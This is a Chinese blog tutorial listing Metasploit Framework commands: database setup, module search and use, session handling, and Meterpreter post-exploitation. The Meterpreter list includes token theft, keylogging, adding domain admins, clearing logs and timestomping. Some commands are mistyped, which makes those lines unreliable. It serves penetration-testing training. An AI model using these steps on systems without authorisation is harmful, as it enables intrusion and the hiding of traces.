MSF(Metasploit Framework)详细教程

发布时间:2023年12月28日

一. 简介

Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境,2009年10月,Metasploit项目被一家渗透测试技术领域的知名安全公司Rapid7所收购。Rapid7公司随后与2010年10月推出了Metasploit Express 和Pro商业版本。
优点 : 模块化,灵活框架,界面友好,简单易用,代码安全

二. MSF 数据库操作

msf init && msfconsole 初始化数据库并且启动msf
1.启动数据库(PostgreSQL ,端口5432)
2.初始化数据库
3.启动msf
msfconsole -q 快速启动(不显示banner)
msfdb init启动并初始化数据库
msfdb reinit 重新初始数据库
msfdb delete 删除数据库
msfdb start 启动数据库
msfdb stop 关闭数据库
msfdb status查看数据库状态
msfdb run 启动数据库并启动msf

将PostgreSQL设置成开机自启

systemctl enable postgresql
开启开机自启动
systemctl list-units --type=service
查看开启开机自启动的程序列表

在这里插入图片描述

三. MSF常用命令

终端命令

命令解释
show exploits列出所有渗透攻击模块
show payloads列出所有的攻击载荷
show auxiliary列出所有的辅助模块
search查询所有包含关键字的模块
info展示出制定渗透攻击或模块的相关信息
info -d更详细的信息(会打开网页文件显示)
use装载一个模块
LHOST目标主机
RHOST远程主机或目标主机
set设置配置参数
setg设置配置全局参数
unset取消配置参数
unsetg取消配置全局参数
show options列出当前模块中所有的参数配置
show targets列出当前模块支持的平台
set target num指定你所知道的目标的操作系统以及补丁版本类型
set payload指定你想使用的攻击载荷(msf6是有默认的,msf5是需要指定的)
show advanced列出所有高级配置选项
check检测目标是否对选定的模块,存在相应的漏洞
exploit执行渗透攻击模块
exploit -j在计划任务下进行渗透攻击(攻击将在后台进行)
exploit -z渗透攻击成功后不进行会话交互
exploit -e <编码方式>指定攻击荷载的编码方式
exploit -h列出exploit命令的帮助信息
sessions -l列出可用的交互会话
sessions -l -v列出所有可用的交互会话以及会话详细信息
sessions -s <脚本>在所有活跃的meterpreter会话中运行一个特定的meterpreter脚本
sessions -K杀死所有会话
sessions -c <命令>在所有活跃的metaerprter会话上执行一个命令,如cmd
sessions -u 将指定的一个会话从win32shell升级到meterpeter shell
sessions -i 选着一个会话,到当前窗口运行
db_create <数据库名称>创建一个数据库驱动攻击所需要的数据库
db_nmap利用nmap并把所有扫描数据存入到数据库中
db_autopwn -p -r -e对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell
db_destroy删除当前数据库
db_nmap利用nmap并把所有扫描数据存入到数据库中
db_destroy user:password@host:port/database使用高级选项来删除数据库

show exploits 列出所有渗透攻击模块
在这里插入图片描述
show payloads 列出所有攻击载荷模块
在这里插入图片描述

show auxiliary 列出所有辅助模块
在这里插入图片描述
search 17_010 搜索关键字包含17_010 的(这里的17_010是指漏洞的时间)
在这里插入图片描述
info 查看当前模块的详细信息
在这里插入图片描述info -d 查看当前模块的跟多详情详细
在这里插入图片描述
在这里插入图片描述
use 0 选择一个模块进行加载,这里的0是指序号,也可以用名称
在这里插入图片描述
show options 和 options 效果一样 列出当前模块的参数详细信息
在这里插入图片描述
在这里插入图片描述
set rhosts 172.30.1.133 设置RHOSTS(目标主机的IP地址)

在这里插入图片描述
show targets 列出当前模块支持的平台
在这里插入图片描述
check 检测目标对象是否存在对于模块的漏洞
在这里插入图片描述
sessions -l 列出所有连接
在这里插入图片描述
sessions -l -v 列出所有连接并显示连接利用的信息详细

在这里插入图片描述
show advanced 显示模块的高级参数
在这里插入图片描述
sessions -i 1 选择一个连接到前台
在这里插入图片描述

metapreter常用命令

命令解释
help打开帮助
run <脚本名称>运行meterpreter脚本,在scripts/meterpreter目录可查看到的所有脚本名称
sysinfo列出受控主机的系统信息
ls列出目标主机的文件和文件夹信息
use priv加载权限提示控制模块,来扩展meterpreter
ps显示所有运行进程及其关联的用户账户
migrate PID迁移到指定的进程ID
use incognito加载inconito功能(用来盗窃目标主机的令牌或者冒充用户)
list_tokens -u列出目标主机用户组的可用令牌
impersonate_token DOMAIN_NAME\USERNAME假冒目标主机上的可用令牌
steal_token盗窃给定进程的可用令牌并进行令牌假冒
drop_token停止假冒当前的令牌
getsystem提供各种攻击向量来提示到系统用户权限
shell以所有可用令牌来运行一个交互的shell
execut -f com.exe -i执行cmd.exe命令交互
execut -f com.exe -i -t以所有可用令牌来执行cmd命令
execute -f cmd.exe -i -H -t以所有可用令牌来执行cmd命令并隐藏该进程
rev2self回到控制目标主机的初始用户账户下
reg command在目标主机注册表中进行交互,创建,删除和查询等操作
setdesktop number切换到另一个用户界面(该功能基于那些用户已经登录)
screenshot对目标主机进行截屏
upload file向目标主机上传文件
download file从目标主机上下载文件
keyscan_dump储存目标主机上的键盘记录
getprivs尽可能的获取到目标主机上的更多权限
uietl enable keyboard/mouse接管目标主机的键盘和鼠标
background将当前会话放入后台运行
use sniffer加入嗅探模块
sniffer_interface列出目标主机上的所有开放网络接口
sniffer_stats interfaceID pcapname在目标主机上启动嗅探
sniffer_start interfaceID packet_buffer在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stats interfaceID获取正在实施嗅探网络接口的统计数据
sniffer_stop interfaceID停止嗅探
add_user username password -h ip在远程目标主机上添加一个用户
add_group_user “Domain Adimins”username -h ip将用户添加到目标主机的域管理员组中
clearev清除目标主机上的日志记录
timestomp修改文件属性,例如修改文件的创建时间(反取证调差)
reboot重启目标主机

sysinfo 列出当前被控制的主机的系统信息
在这里插入图片描述
ls 列出目标主机文件和文件夹
在这里插入图片描述
ps 显示所有运行进程及其关联的用户账户
在这里插入图片描述
use incognito 加载inconito功能(用来盗窃目标主机的令牌或者冒充用户)
在这里插入图片描述
screenshot 截取目标主机的屏幕
在这里插入图片描述
shell 获取一个交互shell

四. MSF 常用模块

  1. Exploits (渗透模块): 这是一段程序,运行时会利用目标的安全漏洞进行攻击
  2. Payloads (攻击荷载模块):在成功对目标完成一次渗透之后,这段程序开始在目标计算机上运行,它能帮助我们在目标系统上获取需要的访问和权限,创建后面和维护访问等。
  3. Auxiliary (辅助模块):包含了一系列的辅助支持模块,包括扫描,fuzz(模块模糊)测试,漏洞发掘,检测模块,网络协议欺骗等模块。辅助是使Metasploit 更加灵活。
  4. Encoder (编码器模块):编码器模块通常用来对于攻击模块进行代码混淆,来逃过目标安全保护机制的检测。
  5. Meterpreter (内存攻击载荷):是一种使用内存技术的攻击载荷,可以注入到程序之中,提供各种可以在目标上执行的功能,如开启摄像头,停用键盘等。
  6. Post (后渗透模块):前提是已经拿到了目标系统的基本访问权限,可以使用post模块对系统进行进一步的渗透
  7. nop 模块 :在汇编语音种,nop是指无操作指令,nop在编写exploit或shellcode时有时是有用的。添加nop可以显著帮助修改payload特征,从而绕过安全检测。
文章来源:https://blog.csdn.net/qq_41245301/article/details/135065729
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。